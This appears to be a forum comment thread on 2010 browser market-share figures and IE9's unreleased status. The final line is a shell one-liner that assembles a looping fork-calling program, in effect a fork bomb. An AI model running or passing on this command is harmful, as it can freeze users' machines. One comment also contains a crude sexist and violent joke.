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IE9 May Not Be Enough To Save IE
An anonymous reader writes "The October market share numbers are in and Net Applications' numbers show a surprising drop in IE8 market share — the first time since the browser was introduced. Strangely, IE9 has not gained much and IE7 as well as IE6 are losing as well. The only two browsers gaining are Chrome and Safari — and both browsers have hit new record market shares. The frenzy around IE8 may have subsided already, and Microsoft is under tremendous pressure to roll out IE9 soon. StatCounter's numbers indicate that Firefox is close to surpassing IE in Europe."
Since when was IE9 actually launched? Are we seriously predicting the doom of IE because not so many people downloaded a browser that isn't even released yet?
Help... About... IE8... hmmm.
Start... All programs... Windows Update.... Huh... no IE9...
Google: IE9 ... Download the Beta?
Yeah it looks like they're making a big deal over an unreleased product. I think they should slow it down some. I prefer MORE time in between my IE releases, who knows if this next one is going to break my application.
Don't you mean, "for years it was the only browser worth attempting to exploit"? Perhaps with a greater market share we might start seeing exploits (coughFiresheepcough) for other browsers.
The real news is that Opera is number one in the Ukraine.
http://gs.statcounter.com/#browser-UA-monthly-200910-201010
And the women there are hot too. All I need is an AK47 to keep off the gopniks and a plane ticket and I'll be all set.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;